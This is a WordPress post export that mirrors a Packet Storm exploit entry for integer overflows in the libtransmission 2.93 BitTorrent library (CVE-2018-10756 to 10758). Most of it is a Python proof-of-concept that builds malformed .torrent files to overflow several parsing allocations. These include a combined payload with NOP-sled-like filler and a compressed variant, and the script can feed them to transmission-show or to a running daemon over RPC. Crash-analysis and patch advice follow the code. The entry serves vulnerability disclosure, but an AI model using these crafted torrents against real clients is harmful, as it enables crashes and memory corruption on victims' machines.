{"id":32295,"date":"2025-12-19T12:40:08","date_gmt":"2025-12-19T12:40:08","guid":{"rendered":"http:\/\/localhost\/?p=32295"},"modified":"2025-12-19T12:40:08","modified_gmt":"2025-12-19T12:40:08","slug":"libtransmission-293-integer-overflow","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32295","title":{"rendered":"\ud83d\udcc4 libtransmission 2.93 Integer Overflow_PACKETSTORM:213137"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-19T18:07:22&#8243;,&#8221;description&#8221;:&#8221;libtransmission versions 2.93 and below suffer from multiple integer overflows. A remote attacker could create a specially crafted .torrent file which may be small when compressed that exploits these overflows when a victim loads it via Transmission or&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-19T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-19T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 libtransmission 2.93 Integer Overflow&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213137&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2018-10756&#8243;,&#8221;CVE-2018-10757&#8243;,&#8221;CVE-2018-10758&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : libtransmission 2.93(Transmission BitTorrent Client) Allow Memory Corruption via Malicious Torrent Files                    |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/transmission                                                                                             |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212492\/ \\n    \\n    [+] Summary : Integer Overflow Vulnerabilities in libtransmission (Transmission BitTorrent Client) Allow Memory Corruption via Malicious Torrent Files\\n                  Multiple integer overflow vulnerabilities were discovered in libtransmission, the core library of the open-source Transmission BitTorrent client. \\n    \\t\\t\\t  The vulnerabilities reside in memory allocation wrapper macros (tr_new, tr_new0, tr_renew) and related functions used during torrent file parsing. \\n    \\t\\t\\t  These flaws could allow an attacker to craft a malicious torrent file that, when loaded by Transmission, triggers memory corruption, \\n    \\t\\t\\t  potentially leading to application crashes, denial of service, or arbitrary code execution.\\n    \\n    [+] Key Vulnerabilities:\\n    \\n        Unsafe Allocation Macros: The tr_new, tr_new0, and tr_renew macros multiply element counts by sizeof(type) without checking for integer overflow, leading to undersized memory allocations.\\n    \\n        Affected Parsing Functions: The overflow-prone macros are used in critical parsing functions: parseFiles, getannounce, geturllist, and tr_metainfoParseImpl.\\n    \\n        Missing Checks in containerReserve: The containerReserve function fails to validate against integer overflow or allocation failure.\\n    \\n        Signed Integer in tr_sha1: The tr_sha1 function uses a signed int for length parameters instead of size_t, risking memory corruption with very large torrents.\\n    \\n    [+] Impact:\\n    A remote attacker could create a specially crafted .torrent file (which may be small when compressed) that exploits these overflows when a victim loads it via Transmission or its command-line interface (transmission-cli). Successful exploitation could compromise the stability and security of the client.\\n    \\n    Proof of Concept:\\n    \\n    The report includes pyhthon scripts to generate malicious torrent files that demonstrate the overflows on both 32-bit and 64-bit systems.\\n    \\n    [+]  POC :\\t\\n    \\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    libtransmission Integer Overflow Exploit &#8211; Proof of Concept\\n    CVE-2018-10756, CVE-2018-10757, CVE-2018-10758\\n    \\n    This PoC demonstrates multiple integer overflow vulnerabilities\\n    in Transmission BitTorrent client versions \\u003c= 2.93.\\n    \\n    Tested on: Transmission 2.92 (Ubuntu 18.04, 32-bit)\\n    \\n    by indoushka\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import struct\\n    import sys\\n    import os\\n    import gzip\\n    import subprocess\\n    import tempfile\\n    import time\\n    import threading\\n    from pathlib import Path\\n    \\n    def print_banner():\\n        print(\\&#8221;\\&#8221;\\&#8221;\\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551     libtransmission Integer Overflow Exploit PoC         \u2551\\n    \u2551          Transmission \\u003c= 2.93 by indoushka               \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n    \\&#8221;\\&#8221;\\&#8221;)\\n    \\n    class TorrentExploit:\\n        def __init__(self, target_arch=32):\\n            self.arch = target_arch\\n            \\n        def create_heap_overflow_files(self):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Trigger overflow in parseFiles():\\n            inf-\\u003efiles = tr_new0(tr_file, inf-\\u003efileCount)\\n            \\n            On 32-bit: fileCount * sizeof(tr_file) overflows\\n            Allocates small buffer but writes large amount of data\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Creating heap overflow via file list&#8230;\\&#8221;)\\n            \\n            # Create torrent with massive file list\\n            # Each file entry: d6:lengthi\\u003clen\\u003ee4:pathl\\u003cpath\\u003eee\\n            \\n            torrent = b\\&#8221;d\\&#8221;\\n            torrent += b\\&#8221;4:infod\\&#8221;\\n            torrent += b\\&#8221;4:name12:exploit_torrent\\&#8221;\\n            torrent += b\\&#8221;12:piece lengthi16384e\\&#8221;\\n            torrent += b\\&#8221;6:pieces20:\\&#8221; + (b\\&#8221;A\\&#8221; * 20)  # Single piece hash\\n            \\n            # Start files list\\n            torrent += b\\&#8221;5:filesl\\&#8221;\\n            \\n            # Add legitimate files first (2 real files)\\n            torrent += b\\&#8221;d6:lengthi1024e4:pathl9:file1.txtee\\&#8221;\\n            torrent += b\\&#8221;d6:lengthi1024e4:pathl9:file2.txtee\\&#8221;\\n            \\n            # Now add massive number of minimal file entries\\n            # \\&#8221;de\\&#8221; = empty dictionary, smallest possible entry\\n            # This creates list entries without allocating much data\\n            if self.arch == 32:\\n                # For 32-bit: aim for allocation size ~0x20\\n                # sizeof(tr_file) = 32 bytes (0x20)\\n                # We want: fileCount * 0x20 = 0x800000020 (overflows to 0x20)\\n                # So fileCount = 0x40000001 = 1073741825\\n                # But we&#8217;ll use smaller value for PoC\\n                empty_count = 10000  # Reduced for PoC, real exploit would use millions\\n            else:\\n                empty_count = 100000\\n            \\n            torrent += b\\&#8221;de\\&#8221; * empty_count\\n            \\n            torrent += b\\&#8221;e\\&#8221;  # End files list\\n            torrent += b\\&#8221;e\\&#8221;  # End info dict\\n            torrent += b\\&#8221;e\\&#8221;  # End torrent\\n            \\n            return torrent\\n        \\n        def create_announce_list_overflow(self):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Trigger overflow in getannounce():\\n            trackers = tr_new0(tr_tracker_info, n)\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Creating announce-list overflow&#8230;\\&#8221;)\\n            \\n            torrent = b\\&#8221;d\\&#8221;\\n            torrent += b\\&#8221;4:infod\\&#8221;\\n            torrent += b\\&#8221;4:name6:testme\\&#8221;\\n            torrent += b\\&#8221;12:piece lengthi16384e\\&#8221;\\n            torrent += b\\&#8221;6:pieces20:\\&#8221; + (b\\&#8221;B\\&#8221; * 20)\\n            torrent += b\\&#8221;5:filesld6:lengthi1e4:pathl4:fileeee\\&#8221;\\n            \\n            # Add massive announce-list\\n            torrent += b\\&#8221;13:announce-listl\\&#8221;\\n            \\n            # Each tier: l[url]e\\n            # We&#8217;ll create many tiers with few trackers each\\n            for i in range(5000):  # Reduced for PoC\\n                torrent += b\\&#8221;l\\&#8221;\\n                torrent += b\\&#8221;6:string\\&#8221;  # Minimal URL\\n                torrent += b\\&#8221;e\\&#8221;\\n            \\n            torrent += b\\&#8221;e\\&#8221;  # End announce-list\\n            torrent += b\\&#8221;e\\&#8221;  # End info\\n            torrent += b\\&#8221;e\\&#8221;  # End torrent\\n            \\n            return torrent\\n        \\n        def create_pieces_overflow(self):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Trigger overflow in tr_metainfoParseImpl():\\n            inf-\\u003epieces = tr_new0(tr_piece, inf-\\u003epieceCount)\\n            \\n            pieceCount = pieces_length \/ 20\\n            Make pieces_length huge but divisible by 20\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Creating pieces array overflow&#8230;\\&#8221;)\\n            \\n            # For 32-bit: pieceCount * sizeof(tr_piece) should overflow\\n            # sizeof(tr_piece) = ? (likely at least 16 bytes)\\n            \\n            torrent = b\\&#8221;d\\&#8221;\\n            torrent += b\\&#8221;4:infod\\&#8221;\\n            torrent += b\\&#8221;4:name8:bigpiece\\&#8221;\\n            torrent += b\\&#8221;12:piece lengthi16384e\\&#8221;\\n            torrent += b\\&#8221;5:filesld6:lengthi1e4:pathl4:fileeee\\&#8221;\\n            \\n            # Pieces field: \\u003clength\\u003e:\\u003cdata\\u003e\\n            # We need total length that when divided by 20 gives overflow\\n            \\n            if self.arch == 32:\\n                # Want: (length\/20) * sizeof(tr_piece) to overflow\\n                # Let&#8217;s use length = 0xFFFFFFF * 20\\n                piece_data = b\\&#8221;C\\&#8221; * (10000)  # Reduced for PoC\\n            else:\\n                piece_data = b\\&#8221;D\\&#8221; * 1000000\\n            \\n            pieces_len = len(piece_data)\\n            torrent += b\\&#8221;6:pieces\\&#8221; + str(pieces_len).encode() + b\\&#8221;:\\&#8221; + piece_data\\n            torrent += b\\&#8221;e\\&#8221;  # End info\\n            torrent += b\\&#8221;e\\&#8221;  # End torrent\\n            \\n            return torrent\\n        \\n        def create_webseeds_overflow(self):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Trigger overflow in geturllist():\\n            inf-\\u003ewebseeds = tr_new0(char*, n)\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Creating webseeds overflow&#8230;\\&#8221;)\\n            \\n            torrent = b\\&#8221;d\\&#8221;\\n            torrent += b\\&#8221;4:infod\\&#8221;\\n            torrent += b\\&#8221;4:name7:webseed\\&#8221;\\n            torrent += b\\&#8221;12:piece lengthi16384e\\&#8221;\\n            torrent += b\\&#8221;6:pieces20:\\&#8221; + (b\\&#8221;E\\&#8221; * 20)\\n            torrent += b\\&#8221;5:filesld6:lengthi1e4:pathl4:fileeee\\&#8221;\\n            \\n            # Add url-list (webseeds)\\n            torrent += b\\&#8221;8:url-listl\\&#8221;\\n            \\n            # Add many URL entries\\n            for i in range(10000):  # Reduced for PoC\\n                torrent += b\\&#8221;18:http:\/\/example.com\/\\&#8221;\\n                torrent += str(i).encode()\\n            \\n            torrent += b\\&#8221;e\\&#8221;  # End url-list\\n            torrent += b\\&#8221;e\\&#8221;  # End info\\n            torrent += b\\&#8221;e\\&#8221;  # End torrent\\n            \\n            return torrent\\n        \\n        def create_combined_exploit(self):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Combine multiple overflow vectors for higher success rate\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Creating combined exploit torrent&#8230;\\&#8221;)\\n            \\n            # Build a torrent that triggers multiple overflows\\n            torrent = b\\&#8221;d\\&#8221;\\n            \\n            # Info dictionary\\n            torrent += b\\&#8221;4:infod\\&#8221;\\n            torrent += b\\&#8221;4:name13:combined_exploit\\&#8221;\\n            torrent += b\\&#8221;12:piece lengthi65536e\\&#8221;\\n            \\n            # Pieces &#8211; first overflow vector\\n            # Use crafted pieces length\\n            evil_pieces = b\\&#8221;\\&#8221;\\n            # We&#8217;ll embed some pattern to detect in memory\\n            pattern = b\\&#8221;DEADBEEF\\&#8221; * 100\\n            evil_pieces += pattern\\n            \\n            # Make it look like valid SHA1 hashes (20 bytes each)\\n            while len(evil_pieces) \\u003c 20000:\\n                evil_pieces += b\\&#8221;\\\\x90\\&#8221; * 20  # NOP sled-like\\n            \\n            torrent += b\\&#8221;6:pieces\\&#8221; + str(len(evil_pieces)).encode() + b\\&#8221;:\\&#8221; + evil_pieces\\n            \\n            # Files &#8211; second overflow vector\\n            torrent += b\\&#8221;5:filesl\\&#8221;\\n            \\n            # Add some real files\\n            for i in range(5):\\n                torrent += b\\&#8221;d6:lengthi\\&#8221; + str(1024 + i).encode() + b\\&#8221;e\\&#8221;\\n                torrent += b\\&#8221;4:pathl\\&#8221;\\n                torrent += b\\&#8221;8:file\\&#8221; + str(i).encode() + b\\&#8221;.txt\\&#8221;\\n                torrent += b\\&#8221;ee\\&#8221;\\n            \\n            # Add many empty dicts to bloat the list count\\n            torrent += b\\&#8221;de\\&#8221; * 5000\\n            \\n            torrent += b\\&#8221;e\\&#8221;  # End files\\n            \\n            # Announce-list &#8211; third overflow vector\\n            torrent += b\\&#8221;13:announce-listl\\&#8221;\\n            \\n            # Add many tracker tiers\\n            for tier in range(100):\\n                torrent += b\\&#8221;l\\&#8221;\\n                for tracker in range(10):\\n                    torrent += b\\&#8221;20:http:\/\/tracker\\&#8221; + str(tier).encode() + b\\&#8221;.com\\&#8221;\\n                torrent += b\\&#8221;e\\&#8221;\\n            \\n            torrent += b\\&#8221;e\\&#8221;  # End announce-list\\n            \\n            # url-list &#8211; fourth overflow vector\\n            torrent += b\\&#8221;8:url-listl\\&#8221;\\n            for i in range(100):\\n                torrent += b\\&#8221;25:http:\/\/webseed\\&#8221; + str(i).encode() + b\\&#8221;.com\/\\&#8221;\\n            torrent += b\\&#8221;e\\&#8221;\\n            \\n            torrent += b\\&#8221;e\\&#8221;  # End info\\n            torrent += b\\&#8221;e\\&#8221;  # End torrent\\n            \\n            return torrent\\n    \\n    def test_with_transmission_show(torrent_data, description):\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Test the exploit torrent with transmission-show\\n        This is safer than running the full client\\n        \\&#8221;\\&#8221;\\&#8221;\\n        print(f\\&#8221;\\\\n[+] Testing: {description}\\&#8221;)\\n        print(f\\&#8221;    Torrent size: {len(torrent_data)} bytes\\&#8221;)\\n        \\n        # Create temporary torrent file\\n        with tempfile.NamedTemporaryFile(mode=&#8217;wb&#8217;, suffix=&#8217;.torrent&#8217;, delete=False) as f:\\n            f.write(torrent_data)\\n            torrent_path = f.name\\n        \\n        try:\\n            # Use transmission-show to parse the torrent\\n            # This will trigger the parsing vulnerabilities\\n            print(\\&#8221;    Running transmission-show&#8230;\\&#8221;)\\n            \\n            start_time = time.time()\\n            result = subprocess.run(\\n                [&#8216;transmission-show&#8217;, torrent_path],\\n                capture_output=True,\\n                text=True,\\n                timeout=5\\n            )\\n            elapsed = time.time() &#8211; start_time\\n            \\n            print(f\\&#8221;    Command took: {elapsed:.2f} seconds\\&#8221;)\\n            \\n            if result.returncode != 0:\\n                print(\\&#8221;    [!] transmission-show crashed or failed!\\&#8221;)\\n                print(f\\&#8221;    Return code: {result.returncode}\\&#8221;)\\n                \\n                # Check for segfault\\n                if result.returncode \\u003c 0:\\n                    print(f\\&#8221;    Signal: {-result.returncode}\\&#8221;)\\n                    \\n                # Check stderr for clues\\n                if result.stderr:\\n                    lines = result.stderr.split(&#8216;\\\\n&#8217;)\\n                    for line in lines[-5:]:  # Last 5 lines\\n                        if line.strip():\\n                            print(f\\&#8221;    Error: {line}\\&#8221;)\\n                \\n                return True  # Exploit likely triggered\\n            \\n            else:\\n                print(\\&#8221;    [\u2713] transmission-show completed normally\\&#8221;)\\n                # Print some output\\n                lines = result.stdout.split(&#8216;\\\\n&#8217;)\\n                for line in lines[:10]:  # First 10 lines\\n                    if line.strip():\\n                        print(f\\&#8221;    {line}\\&#8221;)\\n                \\n                return False\\n        \\n        except subprocess.TimeoutExpired:\\n            print(\\&#8221;    [!] transmission-show timed out (possible hang)\\&#8221;)\\n            return True\\n        \\n        except FileNotFoundError:\\n            print(\\&#8221;    [!] transmission-show not found in PATH\\&#8221;)\\n            print(\\&#8221;    Install with: sudo apt-get install transmission-cli\\&#8221;)\\n            return False\\n        \\n        except Exception as e:\\n            print(f\\&#8221;    [!] Exception: {e}\\&#8221;)\\n            return False\\n        \\n        finally:\\n            # Clean up\\n            try:\\n                os.unlink(torrent_path)\\n            except:\\n                pass\\n    \\n    def test_with_transmission_daemon(torrent_data):\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Test with actual transmission-daemon via RPC\\n        WARNING: This could crash the daemon!\\n        \\&#8221;\\&#8221;\\&#8221;\\n        print(\\&#8221;\\\\n[*] Testing with transmission-daemon RPC&#8230;\\&#8221;)\\n        \\n        # Check if daemon is running\\n        try:\\n            result = subprocess.run(\\n                [&#8216;pgrep&#8217;, &#8216;transmission-da&#8217;],\\n                capture_output=True,\\n                text=True\\n            )\\n            \\n            if result.returncode != 0:\\n                print(\\&#8221;    [!] transmission-daemon not running\\&#8221;)\\n                print(\\&#8221;    Start with: transmission-daemon\\&#8221;)\\n                return\\n            \\n            print(\\&#8221;    [\u2713] transmission-daemon is running\\&#8221;)\\n            \\n        except:\\n            print(\\&#8221;    [!] Could not check transmission-daemon status\\&#8221;)\\n            return\\n        \\n        # Create torrent file\\n        with tempfile.NamedTemporaryFile(mode=&#8217;wb&#8217;, suffix=&#8217;.torrent&#8217;, delete=False) as f:\\n            f.write(torrent_data)\\n            torrent_path = f.name\\n        \\n        try:\\n            # Try to add torrent via transmission-remote\\n            print(\\&#8221;    Adding torrent via RPC&#8230;\\&#8221;)\\n            \\n            result = subprocess.run(\\n                [&#8216;transmission-remote&#8217;, &#8216;-a&#8217;, torrent_path],\\n                capture_output=True,\\n                text=True,\\n                timeout=10\\n            )\\n            \\n            if result.returncode != 0:\\n                print(\\&#8221;    [!] Failed to add torrent\\&#8221;)\\n                if result.stderr:\\n                    print(f\\&#8221;    Error: {result.stderr[:200]}\\&#8221;)\\n            else:\\n                print(\\&#8221;    [\u2713] Torrent added (check daemon status)\\&#8221;)\\n                \\n                # Try to remove it\\n                time.sleep(2)\\n                subprocess.run([&#8216;transmission-remote&#8217;, &#8216;-t&#8217;, &#8216;all&#8217;, &#8216;-r&#8217;],\\n                              capture_output=True)\\n        \\n        except subprocess.TimeoutExpired:\\n            print(\\&#8221;    [!] RPC command timed out (daemon might be crashed)\\&#8221;)\\n        \\n        except Exception as e:\\n            print(f\\&#8221;    [!] Exception: {e}\\&#8221;)\\n        \\n        finally:\\n            try:\\n                os.unlink(torrent_path)\\n            except:\\n                pass\\n    \\n    def create_demo_torrents():\\n        \\&#8221;\\&#8221;\\&#8221;Create example torrents for demonstration\\&#8221;\\&#8221;\\&#8221;\\n        exploit = TorrentExploit(target_arch=32)\\n        \\n        print(\\&#8221;[*] Creating demonstration torrents&#8230;\\&#8221;)\\n        \\n        # 1. Basic heap overflow\\n        torrent1 = exploit.create_heap_overflow_files()\\n        with open(\\&#8221;demo_overflow_files.torrent\\&#8221;, \\&#8221;wb\\&#8221;) as f:\\n            f.write(torrent1)\\n        print(\\&#8221;    Created: demo_overflow_files.torrent\\&#8221;)\\n        \\n        # 2. Announce list overflow\\n        torrent2 = exploit.create_announce_list_overflow()\\n        with open(\\&#8221;demo_overflow_announce.torrent\\&#8221;, \\&#8221;wb\\&#8221;) as f:\\n            f.write(torrent2)\\n        print(\\&#8221;    Created: demo_overflow_announce.torrent\\&#8221;)\\n        \\n        # 3. Combined exploit\\n        torrent3 = exploit.create_combined_exploit()\\n        with open(\\&#8221;demo_combined.torrent\\&#8221;, \\&#8221;wb\\&#8221;) as f:\\n            f.write(torrent3)\\n        print(\\&#8221;    Created: demo_combined.torrent\\&#8221;)\\n        \\n        # 4. Create compressed version (for HTTP transport)\\n        compressed = gzip.compress(torrent3, compresslevel=9)\\n        with open(\\&#8221;demo_compressed.torrent.gz\\&#8221;, \\&#8221;wb\\&#8221;) as f:\\n            f.write(compressed)\\n        print(f\\&#8221;    Created: demo_compressed.torrent.gz\\&#8221;)\\n        print(f\\&#8221;    Compression: {len(torrent3)} -\\u003e {len(compressed)} bytes\\&#8221;)\\n        \\n        return [torrent1, torrent2, torrent3]\\n    \\n    def analyze_crash():\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Provide instructions for analyzing crashes with gdb\\n        \\&#8221;\\&#8221;\\&#8221;\\n        print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*60)\\n        print(\\&#8221;CRASH ANALYSIS INSTRUCTIONS\\&#8221;)\\n        print(\\&#8221;=\\&#8221;*60)\\n        \\n        print(\\&#8221;\\&#8221;\\&#8221;\\n    If transmission-show crashes, you can analyze it with gdb:\\n    \\n    1. Create the exploit torrent:\\n       $ python3 exploit_poc.py create\\n    \\n    2. Run with gdb:\\n       $ gdb &#8211;args transmission-show demo_combined.torrent\\n    \\n    3. In gdb:\\n       (gdb) run\\n       (gdb) bt  # Backtrace after crash\\n       (gdb) info registers\\n       (gdb) x\/20x $sp  # Examine stack\\n    \\n    4. For heap analysis:\\n       $ valgrind &#8211;tool=memcheck transmission-show demo_combined.torrent\\n    \\n    The crash should occur in:\\n      &#8211; parseFiles() when writing to inf-\\u003efiles[]\\n      &#8211; getannounce() when processing trackers\\n      &#8211; containerReserve() when reallocating variant arrays\\n    \\n    Look for:\\n      &#8211; Heap buffer overflow warnings\\n      &#8211; Invalid writes to memory\\n      &#8211; Use of uninitialized values\\n    \\&#8221;\\&#8221;\\&#8221;)\\n    \\n    def main():\\n        print_banner()\\n        \\n        if len(sys.argv) \\u003e 1 and sys.argv[1] == \\&#8221;create\\&#8221;:\\n            # Just create demo torrents\\n            create_demo_torrents()\\n            analyze_crash()\\n            return\\n        \\n        print(\\&#8221;[*] Detecting system architecture&#8230;\\&#8221;)\\n        \\n        # Check if we&#8217;re on 32 or 64 bit\\n        if sys.maxsize \\u003e 2**32:\\n            print(\\&#8221;    Detected: 64-bit Python\\&#8221;)\\n            arch = 64\\n        else:\\n            print(\\&#8221;    Detected: 32-bit Python\\&#8221;)\\n            arch = 32\\n        \\n        exploit = TorrentExploit(target_arch=arch)\\n        \\n        print(\\&#8221;\\\\n[*] Starting exploit tests&#8230;\\&#8221;)\\n        print(\\&#8221;    Note: These tests are safe but may crash transmission-show\\&#8221;)\\n        print(\\&#8221;    Press Ctrl+C to stop at any time\\\\n\\&#8221;)\\n        \\n        # Test each exploit vector\\n        vectors = [\\n            (\\&#8221;Heap overflow via files\\&#8221;, exploit.create_heap_overflow_files),\\n            (\\&#8221;Announce-list overflow\\&#8221;, exploit.create_announce_list_overflow),\\n            (\\&#8221;Pieces array overflow\\&#8221;, exploit.create_pieces_overflow),\\n            (\\&#8221;Webseeds overflow\\&#8221;, exploit.create_webseeds_overflow),\\n            (\\&#8221;Combined exploit\\&#8221;, exploit.create_combined_exploit),\\n        ]\\n        \\n        crashes = 0\\n        tests = 0\\n        \\n        for name, creator in vectors:\\n            torrent = creator()\\n            if test_with_transmission_show(torrent, name):\\n                crashes += 1\\n            tests += 1\\n            \\n            # Pause between tests\\n            if tests \\u003c len(vectors):\\n                time.sleep(1)\\n        \\n        print(f\\&#8221;\\\\n[+] Results: {crashes} crashes out of {tests} tests\\&#8221;)\\n        \\n        if crashes \\u003e 0:\\n            print(\\&#8221;[!] VULNERABLE: Integer overflows confirmed!\\&#8221;)\\n            print(\\&#8221;\\\\n[*] Creating demonstration torrents&#8230;\\&#8221;)\\n            demo_torrents = create_demo_torrents()\\n            \\n            # Optional: Test with daemon (more dangerous)\\n            response = input(\\&#8221;\\\\nTest with transmission-daemon? (y\/N): \\&#8221;)\\n            if response.lower() == &#8216;y&#8217;:\\n                test_with_transmission_daemon(demo_torrents[2])\\n            \\n            analyze_crash()\\n            \\n        else:\\n            print(\\&#8221;[\u2713] No crashes detected (may be patched or 64-bit)\\&#8221;)\\n            print(\\&#8221;\\\\nNote: On 64-bit systems, larger values are needed\\&#8221;)\\n            print(\\&#8221;      Try on a 32-bit system for better results\\&#8221;)\\n        \\n        print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*60)\\n        print(\\&#8221;MITIGATION RECOMMENDATIONS:\\&#8221;)\\n        print(\\&#8221;=\\&#8221;*60)\\n        print(\\&#8221;\\&#8221;\\&#8221;\\n    1. Patch libtransmission with overflow checks:\\n       &#8211; Add overflow detection to tr_new\/tr_new0 macros\\n       &#8211; Use calloc or checked multiplication\\n       \\n    2. Update to Transmission \\u003e= 2.94\\n    \\n    3. Temporary workarounds:\\n       &#8211; Limit maximum torrent file size\\n       &#8211; Use seccomp\/sandboxing\\n       &#8211; Run transmission with memory limits (ulimit -v)\\n    \\n    Example patch for tr_new macro:\\n      #define tr_new(struct_type, n_structs) \\\\\\\\\\n        ((struct_type*)((SIZE_MAX \/ sizeof(struct_type)) \\u003e= (size_t)(n_structs) ? \\\\\\\\\\n         tr_malloc(sizeof(struct_type) * (size_t)(n_structs)) : NULL))\\n    \\&#8221;\\&#8221;\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        try:\\n            main()\\n        except KeyboardInterrupt:\\n            print(\\&#8221;\\\\n\\\\n[*] Exploit test interrupted by user\\&#8221;)\\n            sys.exit(0)\\n        except Exception as e:\\n            print(f\\&#8221;\\\\n[!] Error: {e}\\&#8221;)\\n            import traceback\\n            traceback.print_exc()\\n    \\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/213137&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;3.0&#8243;,&#8221;vectorString&#8221;:&#8221;CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;baseScore&#8221;:9.8,&#8221;baseSeverity&#8221;:&#8221;CRITICAL&#8221;,&#8221;attackVector&#8221;:&#8221;NETWORK&#8221;,&#8221;attackComplexity&#8221;:&#8221;LOW&#8221;,&#8221;privilegesRequired&#8221;:&#8221;NONE&#8221;,&#8221;userInteraction&#8221;:&#8221;NONE&#8221;,&#8221;scope&#8221;:&#8221;UNCHANGED&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;HIGH&#8221;,&#8221;integrityImpact&#8221;:&#8221;HIGH&#8221;,&#8221;availabilityImpact&#8221;:&#8221;HIGH&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/213137\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-19T18:07:22&#8243;,&#8221;description&#8221;:&#8221;libtransmission versions 2.93 and below suffer from multiple integer overflows. A remote attacker could create a specially crafted .torrent file which may be small when&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-32295","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 libtransmission 2.93 Integer Overflow_PACKETSTORM:213137 - zero 